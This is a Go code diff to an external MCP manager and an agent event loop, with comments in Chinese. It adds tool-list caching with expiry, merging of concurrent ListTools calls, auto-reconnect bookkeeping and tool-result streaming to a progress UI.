+type toolListCacheEntry struct {
+	tools     []Tool
+	updatedAt time.Time
+}
+
+// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
+type listToolsInflight struct {
+	done  chan struct{}
+	tools []Tool
+	err   error
+}
+
 // ExternalMCPManager 外部MCP管理器
 type ExternalMCPManager struct {
 	clients      map[string]ExternalMCPClient
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
 	errors       map[string]string         // 错误信息
 	toolCounts   map[string]int            // 工具数量缓存
 	toolCountsMu sync.RWMutex              // 工具数量缓存的锁
-	toolCache    map[string][]Tool         // 工具列表缓存：MCP名称 -> 工具列表
+	toolCache    map[string]toolListCacheEntry // 工具列表缓存：MCP名称 -> 工具列表
 	toolCacheMu  sync.RWMutex              // 工具列表缓存的锁
+	listToolsMu  sync.Mutex
+	listToolsInflight map[string]*listToolsInflight
 	stopRefresh  chan struct{}             // 停止后台刷新的信号
 	refreshWg    sync.WaitGroup            // 等待后台刷新goroutine完成
 	refreshing   atomic.Bool               // 防止 refreshToolCounts 并发堆积
 	mu           sync.RWMutex
-	runningCancels map[string]context.CancelFunc
-	abortUserNotes map[string]string
+	runningCancels    map[string]context.CancelFunc
+	abortUserNotes    map[string]string
+	reconnectMu       sync.Mutex
+	reconnecting      map[string]bool
+	reconnectLastTry  map[string]time.Time
+	reconnectAttempts map[string]int
 }
 
 // NewExternalMCPManager 创建外部MCP管理器
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
 		executions:     make(map[string]*ToolExecution),
 		stats:          make(map[string]*ToolStats),
 		errors:         make(map[string]string),
-		toolCounts:     make(map[string]int),
-		toolCache:      make(map[string][]Tool),
-		stopRefresh:    make(chan struct{}),
-		runningCancels: make(map[string]context.CancelFunc),
-		abortUserNotes: make(map[string]string),
+		toolCounts:        make(map[string]int),
+		toolCache:         make(map[string]toolListCacheEntry),
+		listToolsInflight: make(map[string]*listToolsInflight),
+		stopRefresh:       make(chan struct{}),
+		runningCancels:    make(map[string]context.CancelFunc),
+		abortUserNotes:    make(map[string]string),
+		reconnecting:      make(map[string]bool),
+		reconnectLastTry:  make(map[string]time.Time),
+		reconnectAttempts: make(map[string]int),
 	}
 	// 启动后台刷新工具数量的goroutine
 	manager.startToolCountRefresh()
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	}
 
 	delete(m.configs, name)
+	m.clearReconnectState(name)
 
 	// 清理工具数量缓存
 	m.toolCountsMu.Lock()
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
 	return nil
 }
 
-// StartClient 启动客户端
+// StartClient 启动客户端（用户手动启动；连接失败不自动重试）
 func (m *ExternalMCPManager) StartClient(name string) error {
+	return m.startClient(name, false)
+}
+
+// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈：尊重停用状态，失败后按退避继续重试。
+func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
 	m.mu.Lock()
 	serverCfg, exists := m.configs[name]
 	m.mu.Unlock()
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		return fmt.Errorf("配置不存在: %s", name)
 	}
 
+	if autoReconnect && !m.isEnabled(serverCfg) {
+		return nil
+	}
+
 	// 检查是否已经有连接的客户端
 	m.mu.RLock()
 	existingClient, hasClient := m.clients[name]
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		// 检查客户端是否已连接
 		if existingClient.IsConnected() {
 			// 客户端已连接，直接返回成功（目标状态已达成）
-			// 更新配置为启用（确保配置一致）
-			m.mu.Lock()
-			serverCfg.ExternalMCPEnable = true
-			m.configs[name] = serverCfg
-			m.mu.Unlock()
+			if !autoReconnect {
+				m.mu.Lock()
+				serverCfg.ExternalMCPEnable = true
+				m.configs[name] = serverCfg
+				m.mu.Unlock()
+			}
 			return nil
 		}
 		// 如果有客户端但未连接，先关闭
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 		m.mu.Unlock()
 	}
 
+	if autoReconnect {
+		m.mu.RLock()
+		serverCfg, exists = m.configs[name]
+		enabled := exists && m.isEnabled(serverCfg)
+		m.mu.RUnlock()
+		if !enabled {
+			return nil
+		}
+	}
+
 	// 更新配置为启用
 	m.mu.Lock()
 	serverCfg.ExternalMCPEnable = true
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 	m.mu.Unlock()
 
 	// 在后台异步进行实际连接
-	go func() {
+	go func(reconnect bool) {
 		if err := m.doConnect(name, serverCfg, client); err != nil {
 			m.logger.Error("连接外部MCP客户端失败",
 				zap.String("name", name),
+				zap.Bool("auto_reconnect", reconnect),
 				zap.Error(err),
 			)
 			// 连接失败，设置状态为error并保存错误信息
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
 			m.mu.Unlock()
 			// 触发工具数量刷新（连接失败，工具数量应为0）
 			m.triggerToolCountRefresh()
+			if reconnect {
+				m.scheduleReconnectAfterFailure(name)
+			}
 		} else {
 			// 连接成功，清除错误信息
 			m.mu.Lock()
 			delete(m.errors, name)
 			m.mu.Unlock()
-			// 立即刷新工具数量和工具列表缓存
-			m.triggerToolCountRefresh()
-			m.refreshToolCache(name, client)
-			// 2 秒后再刷新一次，覆盖 SSE/Streamable 等需稍等就绪的远端
-			go func() {
-				time.Sleep(2 * time.Second)
-				m.triggerToolCountRefresh()
-				m.refreshToolCache(name, client)
-			}()
+			m.onClientConnected(name)
+			// 异步拉取工具列表（singleflight 去重，结果同时写入 toolCache 与 toolCounts）
+			go m.refreshToolCache(name, client)
 		}
-	}()
+	}(autoReconnect)
 
 	return nil
 }
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
 	m.toolCounts[name] = 0
 	m.toolCountsMu.Unlock()
 
+	m.toolCacheMu.Lock()
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+
 	// 更新配置为禁用
 	serverCfg.ExternalMCPEnable = false
 	m.configs[name] = serverCfg
 
+	m.clearReconnectState(name)
+
 	return nil
 }
 
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 		return nil, fmt.Errorf("外部MCP连接失败: %s", name)
 	}
 
-	// 已连接：尝试获取最新工具列表
+	// 已连接：缓存优先，仅在缺失或过期时打远程 ListTools
 	if client.IsConnected() {
-		tools, err := client.ListTools(ctx)
+		if tools, ok := m.getFreshCachedTools(name); ok {
+			return tools, nil
+		}
+		if tools, ok := m.getAnyCachedTools(name); ok {
+			m.triggerToolListRefresh(name, client)
+			return tools, nil
+		}
+		tools, err := m.listToolsDeduped(ctx, name, client)
 		if err != nil {
-			// 获取失败，尝试使用缓存
 			return m.getCachedTools(name, "连接正常但获取失败", err)
 		}
-
-		// 获取成功，更新缓存
-		m.updateToolCache(name, tools)
 		return tools, nil
 	}
 
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
 	return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
 }
 
-// getCachedTools 获取缓存的工具列表
+// getCachedTools 获取缓存的工具列表（含空列表缓存）
 func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
-	m.toolCacheMu.RLock()
-	cachedTools, hasCache := m.toolCache[name]
-	m.toolCacheMu.RUnlock()
-
-	if hasCache && len(cachedTools) > 0 {
+	if tools, ok := m.getAnyCachedTools(name); ok {
 		m.logger.Debug("使用缓存的工具列表",
 			zap.String("name", name),
 			zap.String("reason", reason),
-			zap.Int("count", len(cachedTools)),
+			zap.Int("count", len(tools)),
 			zap.Error(originalErr),
 		)
-		return cachedTools, nil
+		return tools, nil
 	}
 
-	// 无缓存，返回错误
 	if originalErr != nil {
 		return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
 	}
 	return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
 }
 
-// updateToolCache 更新工具列表缓存
-func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
+	return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
+}
+
+func cloneTools(tools []Tool) []Tool {
+	if len(tools) == 0 {
+		return nil
+	}
+	out := make([]Tool, len(tools))
+	copy(out, tools)
+	return out
+}
+
+func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok || !m.isToolCacheFresh(entry.updatedAt) {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
+	m.toolCacheMu.RLock()
+	entry, ok := m.toolCache[name]
+	m.toolCacheMu.RUnlock()
+	if !ok {
+		return nil, false
+	}
+	return cloneTools(entry.tools), true
+}
+
+// listToolsDeduped 对同一 MCP 合并并发 ListTools，并更新 toolCache / toolCounts。
+func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
+	m.listToolsMu.Lock()
+	if inflight, exists := m.listToolsInflight[name]; exists {
+		m.listToolsMu.Unlock()
+		select {
+		case <-inflight.done:
+			if inflight.err != nil {
+				return nil, inflight.err
+			}
+			return cloneTools(inflight.tools), nil
+		case <-ctx.Done():
+			return nil, ctx.Err()
+		}
+	}
+	inflight := &listToolsInflight{done: make(chan struct{})}
+	m.listToolsInflight[name] = inflight
+	m.listToolsMu.Unlock()
+
+	inflight.tools, inflight.err = client.ListTools(ctx)
+	if inflight.err == nil {
+		m.updateToolCache(name, inflight.tools)
+	}
+
+	m.listToolsMu.Lock()
+	delete(m.listToolsInflight, name)
+	close(inflight.done)
+	m.listToolsMu.Unlock()
+
+	if inflight.err != nil {
+		m.handleConnectionDead(name, client, inflight.err)
+		return nil, inflight.err
+	}
+	return cloneTools(inflight.tools), nil
+}
+
+// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存（手动刷新时使用）
+func (m *ExternalMCPManager) InvalidateToolCache(name string) {
 	m.toolCacheMu.Lock()
-	m.toolCache[name] = tools
+	delete(m.toolCache, name)
+	m.toolCacheMu.Unlock()
+}
+
+// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
+func (m *ExternalMCPManager) InvalidateAllToolCaches() {
+	m.toolCacheMu.Lock()
+	m.toolCache = make(map[string]toolListCacheEntry)
+	m.toolCacheMu.Unlock()
+}
+
+func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
+	go func() {
+		ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
+		defer cancel()
+		_, _ = m.listToolsDeduped(ctx, name, client)
+	}()
+}
+
+// updateToolCache 更新工具列表缓存与工具数量
+func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
+	stored := cloneTools(tools)
+	m.toolCacheMu.Lock()
+	m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
 	m.toolCacheMu.Unlock()
 
-	// 如果返回空列表，记录警告
-	if len(tools) == 0 {
+	m.toolCountsMu.Lock()
+	m.toolCounts[name] = len(stored)
+	m.toolCountsMu.Unlock()
+
+	if len(stored) == 0 {
 		m.logger.Warn("外部MCP返回空工具列表",
 			zap.String("name", name),
 			zap.String("hint", "服务可能暂时不可用，工具列表为空"),
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
 	} else {
 		m.logger.Debug("工具列表缓存已更新",
 			zap.String("name", name),
-			zap.Int("count", len(tools)),
+			zap.Int("count", len(stored)),
 		)
 	}
 }
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
 
 	// 调用工具
 	result, err := client.CallTool(execCtx, actualToolName, args)
+	if err != nil {
+		m.handleConnectionDead(mcpName, client, err)
+	}
 	cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
 
 	// 更新执行记录
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
 				return
 			}
 
-			// 使用合理的超时时间（15秒），既能应对网络延迟，又不会过长阻塞
-			// 由于这是后台异步刷新，超时不会影响前端响应
+			// 缓存仍新鲜时直接复用，避免与 GetAllTools 重复打远程
+			if _, fresh := m.getFreshCachedTools(n); fresh {
+				m.toolCountsMu.RLock()
+				count := m.toolCounts[n]
+				m.toolCountsMu.RUnlock()
+				resultChan <- countResult{name: n, count: count}
+				return
+			}
+
 			ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
-			tools, err := c.ListTools(ctx)
+			tools, err := m.listToolsDeduped(ctx, n, c)
 			cancel()
 
 			if err != nil {
-				errStr := err.Error()
-				// SSE 连接 EOF：远端可能关闭了流或未按规范在流上推送响应，仅首次用 Warn 提示
-				if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
-					m.logger.Warn("获取外部MCP工具数量失败（SSE 流已关闭或服务端未在流上返回 tools/list 响应）",
-						zap.String("name", n),
-						zap.String("hint", "若为 SSE 连接，请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
-						zap.Error(err),
-					)
-				} else {
+				if !isConnectionDeadError(err) {
 					m.logger.Warn("获取外部MCP工具数量失败，请检查连接或服务端 tools/list",
 						zap.String("name", n),
 						zap.Error(err),
 					)
 				}
-				resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
+				resultChan <- countResult{name: n, count: -1}
 				return
 			}
 
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
 	if !client.IsConnected() {
 		return
 	}
-
-	// 检查状态，如果是error状态，不更新缓存
-	status := client.GetStatus()
-	if status == "error" {
+	if client.GetStatus() == "error" {
 		m.logger.Debug("跳过刷新工具列表缓存（连接失败）",
 			zap.String("name", name),
-			zap.String("status", status),
 		)
 		return
 	}
 
-	// 使用较短的超时时间（5秒）
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
 	defer cancel()
-
-	tools, err := client.ListTools(ctx)
-	if err != nil {
+	if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
 		m.logger.Debug("刷新工具列表缓存失败",
 			zap.String("name", name),
 			zap.Error(err),
 		)
-		// 刷新失败时不更新缓存，保留旧缓存（如果有）
-		return
 	}
-
-	// 使用统一的缓存更新方法
-	m.updateToolCache(name, tools)
 }
 
 // startToolCountRefresh 启动后台刷新工具数量的goroutine
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
 	m.refreshWg.Add(1)
 	go func() {
 		defer m.refreshWg.Done()
-		ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
+		ticker := time.NewTicker(externalToolCountRefreshInterval)
 		defer ticker.Stop()
 
 		// 立即执行一次刷新
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
 		zap.String("name", name),
 	)
 
+	m.onClientConnected(name)
+
 	// 连接成功，触发工具数量刷新和工具列表缓存刷新
 	m.triggerToolCountRefresh()
 	m.mu.RLock()
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
 	for name, client := range m.clients {
 		client.Close()
 		delete(m.clients, name)
+		m.clearReconnectState(name)
 	}
 
 	// 清理所有工具数量缓存
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
 
 	// 清理所有工具列表缓存
 	m.toolCacheMu.Lock()
-	m.toolCache = make(map[string][]Tool)
+	m.toolCache = make(map[string]toolListCacheEntry)
 	m.toolCacheMu.Unlock()
 
 	// 停止后台刷新（使用 select 避免重复关闭 channel）

internal/mcp/server.go

@@ -21,6 +21,7 @@ import (
 // MonitorStorage 监控数据存储接口
 type MonitorStorage interface {
 	SaveToolExecution(exec *ToolExecution) error
+	UpdateToolExecutionResult(id string, result *ToolResult) error
 	LoadToolExecutions() ([]*ToolExecution, error)
 	GetToolExecution(id string) (*ToolExecution, error)
 	SaveToolStats(toolName string, stats *ToolStats) error
@@ -963,6 +964,26 @@ func (s *Server) RecordCompletedToolInvocation(toolName string, args map[string]
 	return executionID
 }
 
+// UpdateToolExecutionResult 将监控库中的工具结果更新为送入模型的展示正文（如 reduction 后的 persisted-output）。
+func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResult) error {
+	if s == nil {
+		return nil
+	}
+	executionID = strings.TrimSpace(executionID)
+	if executionID == "" || result == nil {
+		return nil
+	}
+	s.mu.Lock()
+	if exec, ok := s.executions[executionID]; ok && exec != nil {
+		exec.Result = result
+	}
+	s.mu.Unlock()
+	if s.storage != nil {
+		return s.storage.UpdateToolExecutionResult(executionID, result)
+	}
+	return nil
+}
+
 // cleanupOldExecutions 清理旧的执行记录，防止内存无限增长
 func (s *Server) cleanupOldExecutions() {
 	if len(s.executions) <= s.maxExecutionsInMemory {

internal/multiagent/eino_adk_run_loop.go

@@ -88,6 +88,7 @@ type einoADKRunLoopArgs struct {
 	// 在完成时写入 MCP 监控；execute 仍由 eino_execute_monitor 记录，此处跳过。
 	FilesystemMonitorAgent  *agent.Agent
 	FilesystemMonitorRecord einomcp.ExecutionRecorder
+	MCPExecutionBinder      *MCPExecutionBinder
 
 	// ToolInvokeNotify 与 einomcp.ToolsFromDefinitions 共享：run loop 在迭代前 Set，MCP 桥 Fire 以补全 tool_result。
 	ToolInvokeNotify *einomcp.ToolInvokeNotifyHolder
@@ -176,6 +177,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 	lastPlanExecuteExecutor = ""
 	var reasoningStreamSeq int64
 	var einoSubReplyStreamSeq int64
+	var mainResponseStreamSeq int64
 	toolEmitSeen := make(map[string]struct{})
 	var einoMainRound int
 	var einoLastAgent string
@@ -284,53 +286,63 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		executeStdoutDupMu.Unlock()
 	}
 
-	var toolResultSent sync.Map // toolCallID -> struct{}；与 ADK Tool 消息去重，避免 bridge 与事件流各推一次
-	if args.ToolInvokeNotify != nil {
-		args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
-			tid := strings.TrimSpace(toolCallID)
-			removePendingByID(tid)
-			if tid == "" || progress == nil {
-				return
+	var toolResultSent sync.Map // toolCallID -> struct{}；ADK Tool 事件去重（权威正文来自 reduction 处理后的 agent 上下文）
+	tryEmitToolResultProgress := func(toolName, content, toolCallID string, isErr bool, agentName string) {
+		if progress == nil {
+			return
+		}
+		toolName = strings.TrimSpace(toolName)
+		if toolName == "" {
+			toolName = "unknown"
+		}
+		preview := content
+		if len(preview) > 200 {
+			preview = preview[:200] + "..."
+		}
+		data := map[string]interface{}{
+			"toolName":       toolName,
+			"success":        !isErr,
+			"isError":        isErr,
+			"result":         content,
+			"resultPreview":  preview,
+			"conversationId": conversationID,
+			"einoAgent":      agentName,
+			"einoRole":       einoRoleTag(agentName),
+			"source":         "eino",
+		}
+		tid := strings.TrimSpace(toolCallID)
+		if tid == "" {
+			if inferred, ok := popNextPendingForAgent(agentName); ok {
+				tid = inferred.ToolCallID
+			} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
+				tid = inferred.ToolCallID
+			} else if inferred, ok := popNextPendingForAgent(""); ok {
+				tid = inferred.ToolCallID
+			} else if inferred, ok := popAnyPending(); ok {
+				tid = inferred.ToolCallID
 			}
+		}
+		if tid != "" {
+			removePendingByID(tid)
 			if _, loaded := toolResultSent.LoadOrStore(tid, struct{}{}); loaded {
 				return
 			}
-			isErr := !success || invokeErr != nil
-			body := content
-			if invokeErr != nil {
-				// 保留已流式累计的 stdout（如 execute 超时前的一半输出），避免 tool_result 只剩错误串、模型与 UI 丢失上下文
-				tail := friendlyEinoExecuteInvokeTail(invokeErr)
-				// execute 流式包装可能已把超时句写入 content（供 ADK tool 与流式 delta）；勿重复拼接
-				if tail != "" && strings.Contains(content, tail) {
-					body = content
-				} else if strings.TrimSpace(content) != "" {
-					body = strings.TrimRight(content, "\n") + "\n\n" + tail
-				} else {
-					body = tail
-				}
-				isErr = true
+			data["toolCallId"] = tid
+			toolCallID = tid
+		}
+		recordPendingExecuteStdoutDup(toolName, content, isErr)
+		recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
+		if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
+			if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
+				args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
 			}
-			recordPendingExecuteStdoutDup(toolName, body, isErr)
-			preview := body
-			if len(preview) > 200 {
-				preview = preview[:200] + "..."
-			}
-			agentTag := strings.TrimSpace(einoAgent)
-			if agentTag == "" {
-				agentTag = orchestratorName
-			}
-			progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), map[string]interface{}{
-				"toolName":       toolName,
-				"success":        !isErr,
-				"isError":        isErr,
-				"result":         body,
-				"resultPreview":  preview,
-				"toolCallId":     tid,
-				"conversationId": conversationID,
-				"einoAgent":      agentTag,
-				"einoRole":       einoRoleTag(agentTag),
-				"source":         "eino",
-			})
+		}
+		progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
+	}
+	if args.ToolInvokeNotify != nil {
+		args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
+			removePendingByID(strings.TrimSpace(toolCallID))
+			// tool_result 仅由下方 ADK schema.Tool 事件推送，正文与送入模型的上下文一致（含 reduction 截断）。
 		})
 	}
 
@@ -631,7 +643,52 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		}
 		mv := ev.Output.MessageOutput
 
+		if mv.IsStreaming && mv.MessageStream != nil && mv.Role == schema.Tool {
+			toolName := strings.TrimSpace(mv.ToolName)
+			var toolBuf strings.Builder
+			streamToolCallID := ""
+			var toolStreamRecvErr error
+			for {
+				chunk, rerr := mv.MessageStream.Recv()
+				if errors.Is(rerr, io.EOF) {
+					break
+				}
+				if rerr != nil {
+					toolStreamRecvErr = rerr
+					break
+				}
+				if chunk == nil {
+					continue
+				}
+				if chunk.Content != "" {
+					toolBuf.WriteString(chunk.Content)
+				}
+				if tid := strings.TrimSpace(chunk.ToolCallID); tid != "" {
+					streamToolCallID = tid
+				}
+			}
+			content := toolBuf.String()
+			isErr := false
+			if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
+				isErr = true
+				content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
+			}
+			if streamToolCallID != "" {
+				opts := []schema.ToolMessageOption{schema.WithToolName(toolName)}
+				runAccumulatedMsgs = append(runAccumulatedMsgs, schema.ToolMessage(content, streamToolCallID, opts...))
+			}
+			tryEmitToolResultProgress(toolName, content, streamToolCallID, isErr, ev.AgentName)
+			if toolStreamRecvErr != nil && logger != nil {
+				logger.Warn("eino tool result stream recv error",
+					zap.Error(toolStreamRecvErr),
+					zap.String("agent", ev.AgentName),
+					zap.String("tool", toolName))
+			}
+			continue
+		}
+
 		if mv.IsStreaming && mv.MessageStream != nil {
+			mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
 			streamHeaderSent := false
 			var reasoningStreamID string
 			var toolStreamFragments []schema.ToolCall
@@ -738,6 +795,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 											"einoRole":           "orchestrator",
 											"einoAgent":          ev.AgentName,
 											"orchestration":      orchMode,
+											"iteration":          einoMainRound,
+											"streamId":           mainStreamID,
 										})
 										streamHeaderSent = true
 									}
@@ -747,6 +806,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 										"einoRole":        "orchestrator",
 										"einoAgent":       ev.AgentName,
 										"orchestration":   orchMode,
+										"iteration":     einoMainRound,
+										"streamId":        mainStreamID,
 									}, mainAssistantBuf))
 									mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta)
 								}
@@ -779,6 +840,16 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 					}
 				}
 			}
+			if progress != nil && reasoningStreamID != "" && strings.TrimSpace(reasoningBuf) != "" {
+				progress("reasoning_chain_stream_end", openai.DisplayReasoningContent(strings.TrimSpace(reasoningBuf)), map[string]interface{}{
+					"streamId":       reasoningStreamID,
+					"conversationId": conversationID,
+					"source":         "eino",
+					"einoAgent":      ev.AgentName,
+					"einoRole":       einoRoleTag(ev.AgentName),
+					"orchestration":  orchMode,
+				})
+			}
 			if streamsMainAssistant(ev.AgentName) {
 				s := strings.TrimSpace(mainAssistantBuf)
 				if mainAssistDupTarget != "" {
@@ -806,6 +877,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 										"einoRole":           "orchestrator",
 										"einoAgent":          ev.AgentName,
 										"orchestration":      orchMode,
+										"iteration":          einoMainRound,
+										"streamId":           mainStreamID,
 									})
 								}
 								progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{
@@ -814,6 +887,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 									"einoRole":        "orchestrator",
 									"einoAgent":       ev.AgentName,
 									"orchestration":   orchMode,
+									"iteration":       einoMainRound,
+									"streamId":        mainStreamID,
 								}, mainAssistantBuf))
 								mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail)
 							}
@@ -916,6 +991,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 						}
 						executeStdoutDupMu.Unlock()
 						if progress != nil {
+							nonStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
 							progress("response_start", "", map[string]interface{}{
 								"conversationId":     conversationID,
 								"mcpExecutionIds":    snapshotMCPIDs(),
@@ -923,6 +999,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 								"einoRole":           "orchestrator",
 								"einoAgent":          ev.AgentName,
 								"orchestration":      orchMode,
+								"iteration":          einoMainRound,
+								"streamId":           nonStreamID,
 							})
 							progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{
 								"conversationId":  conversationID,
@@ -930,6 +1008,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 								"einoRole":        "orchestrator",
 								"einoAgent":       ev.AgentName,
 								"orchestration":   orchMode,
+								"iteration":       einoMainRound,
+								"streamId":        nonStreamID,
 							}, body))
 						}
 						lastAssistant = body
@@ -948,7 +1028,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 			}
 		}
 
-		if mv.Role == schema.Tool && progress != nil {
+		if (mv.Role == schema.Tool || msg.Role == schema.Tool) && progress != nil {
 			toolName := msg.ToolName
 			if toolName == "" {
 				toolName = mv.ToolName
@@ -961,46 +1041,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 				content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
 			}
 
-			preview := content
-			if len(preview) > 200 {
-				preview = preview[:200] + "..."
-			}
-			data := map[string]interface{}{
-				"toolName":       toolName,
-				"success":        !isErr,
-				"isError":        isErr,
-				"result":         content,
-				"resultPreview":  preview,
-				"conversationId": conversationID,
-				"einoAgent":      ev.AgentName,
-				"einoRole":       einoRoleTag(ev.AgentName),
-				"source":         "eino",
-			}
 			toolCallID := strings.TrimSpace(msg.ToolCallID)
-			if toolCallID == "" {
-				if inferred, ok := popNextPendingForAgent(ev.AgentName); ok {
-					toolCallID = inferred.ToolCallID
-				} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
-					toolCallID = inferred.ToolCallID
-				} else if inferred, ok := popNextPendingForAgent(""); ok {
-					toolCallID = inferred.ToolCallID
-				} else if inferred, ok := popAnyPending(); ok {
-					toolCallID = inferred.ToolCallID
-				}
-			}
-			if toolCallID != "" {
-				removePendingByID(toolCallID)
-				if _, loaded := toolResultSent.LoadOrStore(toolCallID, struct{}{}); loaded {
-					// ToolInvokeNotify 可能已推过 tool_result（如 execute 流式包装里 Fire 仅携带截断后的 stdout），
-					// 此处仍应用 ADK Tool 消息中的完整内容刷新去重基准，避免模型复述全文时与截断串比对失败而重复展示「助手输出」。
-					recordPendingExecuteStdoutDup(toolName, content, isErr)
-					continue
-				}
-				data["toolCallId"] = toolCallID
-			}
-			recordPendingExecuteStdoutDup(toolName, content, isErr)
-			recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
-			progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
+			tryEmitToolResultProgress(toolName, content, toolCallID, isErr, ev.AgentName)
 		}
 	}
 
@@ -1012,9 +1054,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
 		lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
 	)
